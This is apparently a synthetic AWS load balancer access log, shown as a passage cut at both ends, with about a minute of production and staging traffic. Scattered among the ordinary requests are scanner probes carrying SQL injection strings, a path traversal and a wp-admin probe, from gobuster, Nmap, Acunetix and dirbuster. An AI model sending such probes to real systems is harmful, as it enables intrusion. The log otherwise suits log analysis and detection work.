ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db99-4c1943aacf24473a91462cbb" "staging-alb.example.com" "-" 9 2024-11-01T02:33:45.378506Z "forward" "-" "-" "6.233.84.205:8080" "200" "-" "-" -https 2024-11-01T02:33:47.367542Z prod-web-alb 74.27.79.223:47525 10.0.249.78:443 0.017255 0.278475 0.085343 200 200 423 13097 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db9b-2e672f6b493349be970f4f17" "prod-web-alb.example.com" "-" 8 2024-11-01T02:33:47.367542Z "forward" "-" "-" "10.0.249.78:443" "200" "-" "-" -https 2024-11-01T02:33:48.637375Z prod-api-alb 185.190.176.4:40741 10.0.207.110:443 0.049809 0.062477 0.060860 302 302 34 6284 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db9c-ab2273d1ee0144238028c9ba" "prod-api-alb.example.com" "-" 2 2024-11-01T02:33:48.637375Z "forward" "-" "-" "10.0.207.110:443" "302" "-" "-" -https 2024-11-01T02:33:49.633167Z prod-api-alb 120.9.156.219:36092 10.0.69.227:443 0.095823 0.150612 0.021815 200 200 997 13258 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db9d-be0e9f49a9264d1b9f385869" "prod-api-alb.example.com" "-" 4 2024-11-01T02:33:49.633167Z "forward" "-" "-" "10.0.69.227:443" "200" "-" "-" -https 2024-11-01T02:33:49.991093Z prod-api-alb 184.246.218.196:17981 10.0.215.243:443 0.043741 0.064792 0.006999 302 302 585 9297 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db9d-8579a93ea44e4f73b9835d30" "-" "-" 2 2024-11-01T02:33:49.991093Z "forward" "-" "-" "10.0.215.243:443" "302" "-" "-" -http 2024-11-01T02:33:51.021142Z staging-alb 25.193.207.199:10246 141.45.118.104:80 0.139919 0.407382 0.118245 302 302 357 14979 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db9f-d090164bf48046fbac8c6430" "staging-alb.example.com" "-" 1 2024-11-01T02:33:51.021142Z "forward" "-" "-" "141.45.118.104:80" "302" "-" "-" -https 2024-11-01T02:33:51.198522Z prod-web-alb 156.53.162.127:62655 10.0.251.187:443 0.056703 0.216102 0.057769 200 200 254 6789 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db9f-bcd79ad9365e48488154b02a" "prod-web-alb.example.com" "-" 7 2024-11-01T02:33:51.198522Z "forward" "-" "-" "10.0.251.187:443" "200" "-" "-" -https 2024-11-01T02:33:51.648914Z prod-web-alb 66.253.141.236:21489 10.0.199.170:443 0.005462 0.128967 0.031880 301 301 228 7629 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db9f-6d1d9d27bc6c4ca6b261e9e1" "prod-web-alb.example.com" "-" 8 2024-11-01T02:33:51.648914Z "forward" "-" "-" "10.0.199.170:443" "301" "-" "-" -https 2024-11-01T02:33:53.366073Z prod-web-alb 187.80.232.28:32700 10.0.163.169:443 0.029438 0.196444 0.006032 302 302 72 12714 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dba1-0f6305c609ba4388a937f7ae" "prod-web-alb.example.com" "-" 9 2024-11-01T02:33:53.366073Z "forward" "-" "-" "10.0.163.169:443" "302" "-" "-" -https 2024-11-01T02:33:55.140756Z staging-alb 32.98.158.169:57226 234.33.237.223:80 0.064558 0.125704 0.125823 302 302 944 3558 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dba3-60ae65a2538a4eb88c2ccd6f" "staging-alb.example.com" "-" 1 2024-11-01T02:33:55.140756Z "forward" "-" "-" "234.33.237.223:80" "302" "-" "-" -https 2024-11-01T02:33:56.641706Z prod-web-alb 201.207.163.24:10041 10.0.25.93:443 0.098915 0.093299 0.010502 200 200 270 5262 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dba4-ec532e20123c4bc287604a6f" "prod-web-alb.example.com" "-" 6 2024-11-01T02:33:56.641706Z "forward" "-" "-" "10.0.25.93:443" "200" "-" "-" -https 2024-11-01T02:33:58.572324Z prod-api-alb 31.94.238.146:46967 10.0.92.95:443 0.093569 0.182638 0.007123 404 404 775 11027 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dba6-be37b36639a6485b8676178d" "prod-api-alb.example.com" "-" 8 2024-11-01T02:33:58.572324Z "forward" "-" "-" "10.0.92.95:443" "404" "-" "-" -https 2024-11-01T02:33:59.899640Z staging-alb 193.230.56.6:27390 185.105.15.76:8080 0.090985 0.603789 0.122590 302 302 119 5108 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dba7-20bb5f4eefc140b39514e82c" "staging-alb.example.com" "-" 10 2024-11-01T02:33:59.899640Z "forward" "-" "-" "185.105.15.76:8080" "302" "-" "-" -https 2024-11-01T02:34:00.972533Z prod-api-alb 193.27.228.108:29528 10.0.70.222:443 0.034025 0.200621 0.062377 403 403 53 2991 "GET /login?id=1'-- HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dba8-9e6221aa6e544e508a0436a5" "-" "-" 4 2024-11-01T02:34:00.972533Z "forward" "-" "-" "10.0.70.222:443" "403" "-" "-" -https 2024-11-01T02:34:01.791338Z prod-api-alb 185.181.58.110:15898 10.0.197.147:443 0.032850 0.057789 0.020503 403 403 484 6144 "GET /search?q=1' UNION SELECT HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dba9-33414af5cd9e4cc29e11932e" "-" "-" 3 2024-11-01T02:34:01.791338Z "forward" "-" "-" "10.0.197.147:443" "403" "-" "-" -https 2024-11-01T02:34:02.339911Z prod-api-alb 195.37.241.149:15149 10.0.59.148:443 0.061752 0.132949 0.031475 200 200 365 13892 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbaa-f45777b7d29540d7afb505cf" "prod-api-alb.example.com" "-" 0 2024-11-01T02:34:02.339911Z "forward" "-" "-" "10.0.59.148:443" "200" "-" "-" -https 2024-11-01T02:34:04.306558Z prod-api-alb 37.17.124.66:19537 10.0.112.104:443 0.005706 0.063043 0.043583 200 200 726 4831 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbac-85c59f9c5b474f9ca5bec1d7" "-" "-" 3 2024-11-01T02:34:04.306558Z "forward" "-" "-" "10.0.112.104:443" "200" "-" "-" -https 2024-11-01T02:34:04.623819Z prod-web-alb 75.226.24.10:50553 10.0.5.113:443 0.032035 0.243521 0.047334 200 200 726 6878 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dbac-71b6b4a61113473384618541" "prod-web-alb.example.com" "-" 1 2024-11-01T02:34:04.623819Z "forward" "-" "-" "10.0.5.113:443" "200" "-" "-" -https 2024-11-01T02:34:06.315282Z prod-web-alb 115.5.4.11:32605 10.0.207.55:443 0.002990 0.106791 0.045663 200 200 633 3082 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbae-05a229427c014d709e6edf17" "prod-web-alb.example.com" "-" 1 2024-11-01T02:34:06.315282Z "forward" "-" "-" "10.0.207.55:443" "200" "-" "-" -https 2024-11-01T02:34:08.108714Z prod-api-alb 129.69.60.137:58422 10.0.26.141:443 0.098567 0.434594 0.069309 302 302 376 13858 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbb0-c45dae2a655d4e569753d729" "prod-api-alb.example.com" "-" 0 2024-11-01T02:34:08.108714Z "forward" "-" "-" "10.0.26.141:443" "302" "-" "-" -http 2024-11-01T02:34:09.785824Z staging-alb 140.3.155.238:28492 138.245.212.87:8080 0.002953 0.207814 0.100500 302 302 968 3580 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbb1-79885159a87945ee9e38fa7a" "staging-alb.example.com" "-" 4 2024-11-01T02:34:09.785824Z "forward" "-" "-" "138.245.212.87:8080" "302" "-" "-" -http 2024-11-01T02:34:10.572523Z staging-alb 168.87.102.198:35579 107.221.117.66:8080 0.067563 0.089695 0.052358 301 301 620 11970 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbb2-96850ef5a1f34ae8ac7b1b82" "staging-alb.example.com" "-" 0 2024-11-01T02:34:10.572523Z "forward" "-" "-" "107.221.117.66:8080" "301" "-" "-" -https 2024-11-01T02:34:12.439188Z prod-api-alb 97.250.156.59:33626 10.0.178.58:443 0.031742 0.257664 0.055138 200 200 80 11093 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbb4-5ebc0a43d35946b68908c9e5" "prod-api-alb.example.com" "-" 3 2024-11-01T02:34:12.439188Z "forward" "-" "-" "10.0.178.58:443" "200" "-" "-" -https 2024-11-01T02:34:12.774984Z prod-web-alb 254.249.151.90:11875 10.0.111.202:443 0.036434 0.396406 0.003643 200 200 380 1315 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dbb4-99befe02b4b544d08d4ac1e0" "prod-web-alb.example.com" "-" 9 2024-11-01T02:34:12.774984Z "forward" "-" "-" "10.0.111.202:443" "200" "-" "-" -http 2024-11-01T02:34:13.361052Z staging-alb 202.68.31.188:38965 129.48.185.142:8080 0.047238 0.476584 0.066273 200 200 25 4564 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbb5-83a43f6611b040369aef1f5f" "staging-alb.example.com" "-" 4 2024-11-01T02:34:13.361052Z "forward" "-" "-" "129.48.185.142:8080" "200" "-" "-" -https 2024-11-01T02:34:15.145361Z prod-api-alb 45.155.205.251:46084 10.0.188.118:443 0.031481 0.447741 0.087657 302 302 629 7765 "GET /wp-admin HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbb7-e852acad193943e18c44c045" "-" "-" 5 2024-11-01T02:34:15.145361Z "forward" "-" "-" "10.0.188.118:443" "302" "-" "-" -https 2024-11-01T02:34:15.960214Z prod-api-alb 29.31.15.33:48645 10.0.99.41:443 0.086126 0.171453 0.013518 302 302 52 12945 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbb7-304e971add86466281fe2a63" "prod-api-alb.example.com" "-" 2 2024-11-01T02:34:15.960214Z "forward" "-" "-" "10.0.99.41:443" "302" "-" "-" -https 2024-11-01T02:34:17.905143Z prod-api-alb 204.50.98.150:22585 10.0.251.113:443 0.056821 0.444751 0.020013 200 200 987 11127 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbb9-afa73de4cdea495484506553" "prod-api-alb.example.com" "-" 7 2024-11-01T02:34:17.905143Z "forward" "-" "-" "10.0.251.113:443" "200" "-" "-" -https 2024-11-01T02:34:18.240917Z prod-web-alb 32.109.142.203:28897 10.0.27.76:443 0.022350 0.176629 0.076964 302 302 964 2831 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbba-96c2c70b2265455cb4f58fa1" "prod-web-alb.example.com" "-" 7 2024-11-01T02:34:18.240917Z "forward" "-" "-" "10.0.27.76:443" "302" "-" "-" -https 2024-11-01T02:34:18.738141Z prod-web-alb 138.67.56.89:58837 10.0.131.73:443 0.083243 0.453180 0.015541 301 301 301 889 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbba-0c2a79f666134b3b99920d7f" "prod-web-alb.example.com" "-" 4 2024-11-01T02:34:18.738141Z "forward" "-" "-" "10.0.131.73:443" "301" "-" "-" -https 2024-11-01T02:34:19.814247Z staging-alb 91.23.36.127:37982 85.23.43.70:80 0.037757 0.466981 0.016293 200 200 308 6154 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbbb-84b1cd56d76448d486d12a1b" "staging-alb.example.com" "-" 6 2024-11-01T02:34:19.814247Z "forward" "-" "-" "85.23.43.70:80" "200" "-" "-" -https 2024-11-01T02:34:20.998187Z prod-api-alb 75.215.212.77:10485 10.0.236.8:443 0.011876 0.384899 0.084466 200 200 726 716 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbbc-8c6f30b39b9a42abb0903807" "prod-api-alb.example.com" "-" 3 2024-11-01T02:34:20.998187Z "forward" "-" "-" "10.0.236.8:443" "200" "-" "-" -https 2024-11-01T02:34:22.244591Z staging-alb 194.251.189.52:39828 234.207.151.87:443 0.134302 0.454768 0.112840 200 200 890 5321 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbbe-4599a6eee9634e689cd6a745" "staging-alb.example.com" "-" 0 2024-11-01T02:34:22.244591Z "forward" "-" "-" "234.207.151.87:443" "200" "-" "-" -http 2024-11-01T02:34:24.157238Z staging-alb 25.141.28.251:52181 90.162.253.37:8080 0.059896 0.367248 0.074551 302 302 908 6053 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbc0-8ee2f37e3ba14dd396db55bb" "staging-alb.example.com" "-" 8 2024-11-01T02:34:24.157238Z "forward" "-" "-" "90.162.253.37:8080" "302" "-" "-" -http 2024-11-01T02:34:24.422196Z staging-alb 27.235.141.73:42311 105.210.219.251:80 0.084693 0.746039 0.109615 302 302 595 5662 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbc0-1f4591c473074071bce9b231" "staging-alb.example.com" "-" 0 2024-11-01T02:34:24.422196Z "forward" "-" "-" "105.210.219.251:80" "302" "-" "-" -https 2024-11-01T02:34:24.796547Z prod-web-alb 85.37.124.18:21115 10.0.175.215:443 0.097271 0.484207 0.070815 200 200 460 8657 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dbc0-ae234f2e46f349c19038124d" "prod-web-alb.example.com" "-" 1 2024-11-01T02:34:24.796547Z "forward" "-" "-" "10.0.175.215:443" "200" "-" "-" -https 2024-11-01T02:34:26.321748Z prod-web-alb 238.130.196.212:56016 10.0.149.101:443 0.019909 0.281250 0.038289 200 200 595 8365 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dbc2-0de8c7911dc342e498bc94ad" "prod-web-alb.example.com" "-" 8 2024-11-01T02:34:26.321748Z "forward" "-" "-" "10.0.149.101:443" "200" "-" "-" -https 2024-11-01T02:34:26.443413Z prod-api-alb 133.113.121.234:61556 10.0.87.230:443 0.087795 0.358404 0.040347 302 302 456 9589 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbc2-6ce365ab15164e0eaf747c5d" "prod-api-alb.example.com" "-" 8 2024-11-01T02:34:26.443413Z "forward" "-" "-" "10.0.87.230:443" "302" "-" "-" -https 2024-11-01T02:34:26.664048Z prod-web-alb 18.132.14.236:12445 10.0.231.23:443 0.048002 0.024202 0.008727 200 200 120 4786 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbc2-4b6d0cb5cfcb4ccb82fc5b33" "prod-web-alb.example.com" "-" 2 2024-11-01T02:34:26.664048Z "forward" "-" "-" "10.0.231.23:443" "200" "-" "-" -https 2024-11-01T02:34:27.678567Z prod-api-alb 4.117.174.101:30947 10.0.14.240:443 0.084922 0.485239 0.019449 404 404 599 4094 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbc3-1ead4a48676b49c992924421" "prod-api-alb.example.com" "-" 2 2024-11-01T02:34:27.678567Z "forward" "-" "-" "10.0.14.240:443" "404" "-" "-" -https 2024-11-01T02:34:29.280205Z prod-api-alb 196.180.64.119:54633 10.0.21.158:443 0.077307 0.082811 0.002013 200 200 772 6252 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbc5-7bf453d6e7c34392bbbe0810" "-" "-" 6 2024-11-01T02:34:29.280205Z "forward" "-" "-" "10.0.21.158:443" "200" "-" "-" -https 2024-11-01T02:34:30.731026Z staging-alb 202.133.112.134:61179 162.75.155.107:80 0.114685 0.154751 0.074935 200 200 884 8498 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbc6-51872c78cf664b67a5ef23c6" "staging-alb.example.com" "-" 6 2024-11-01T02:34:30.731026Z "forward" "-" "-" "162.75.155.107:80" "200" "-" "-" -https 2024-11-01T02:34:32.032989Z prod-web-alb 10.181.132.176:20355 10.0.45.141:443 0.022359 0.050265 0.067486 200 200 636 5568 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbc8-ac64c902559145368e825511" "prod-web-alb.example.com" "-" 0 2024-11-01T02:34:32.032989Z "forward" "-" "-" "10.0.45.141:443" "200" "-" "-" -https 2024-11-01T02:34:33.660525Z prod-api-alb 45.155.205.4:49295 10.0.27.49:443 0.018882 0.380758 0.030658 500 500 219 6913 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbc9-fd761a28b6304ec9be3d9c47" "-" "-" 6 2024-11-01T02:34:33.660525Z "forward" "-" "-" "10.0.27.49:443" "500" "-" "-" -https 2024-11-01T02:34:34.248003Z staging-alb 167.207.88.98:49503 232.33.47.21:8080 0.092643 0.113460 0.038198 302 302 843 10265 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbca-cb83b608a2aa4d4d87439620" "staging-alb.example.com" "-" 7 2024-11-01T02:34:34.248003Z "forward" "-" "-" "232.33.47.21:8080" "302" "-" "-" -https 2024-11-01T02:34:35.842148Z prod-api-alb 119.73.249.197:29861 10.0.130.36:443 0.025454 0.468099 0.099753 301 301 979 9075 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbcb-fb8b14d4dd4744628b9ee515" "prod-api-alb.example.com" "-" 2 2024-11-01T02:34:35.842148Z "forward" "-" "-" "10.0.130.36:443" "301" "-" "-" -https 2024-11-01T02:34:37.203675Z staging-alb 45.155.205.141:26830 13.156.233.15:443 0.135647 0.514638 0.121472 404 404 226 3306 "GET /static/../../secret HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbcd-fccdeefb68584bcd96a923e0" "-" "-" 8 2024-11-01T02:34:37.203675Z "forward" "-" "-" "13.156.233.15:443" "404" "-" "-" -https 2024-11-01T02:34:38.089076Z prod-api-alb 86.145.106.237:62508 10.0.140.6:443 0.012941 0.498475 0.024316 200 200 842 13238 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbce-5ec5aa3f5a1c4a5b981693bf" "prod-api-alb.example.com" "-" 1 2024-11-01T02:34:38.089076Z "forward" "-" "-" "10.0.140.6:443" "200" "-" "-" -https 2024-11-01T02:34:39.178656Z prod-web-alb 136.28.39.61:45531 10.0.167.151:443 0.029288 0.203418 0.030894 404 404 985 208 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbcf-8fb2d9496f9f4980888c9d05" "prod-web-alb.example.com" "-" 2 2024-11-01T02:34:39.178656Z "forward" "-" "-" "10.0.167.151:443" "404" "-" "-" -https 2024-11-01T02:34:40.230280Z prod-api-alb 107.138.182.242:37146 10.0.244.91:443 0.001882 0.090482 0.078595 200 200 686 10891 "GET 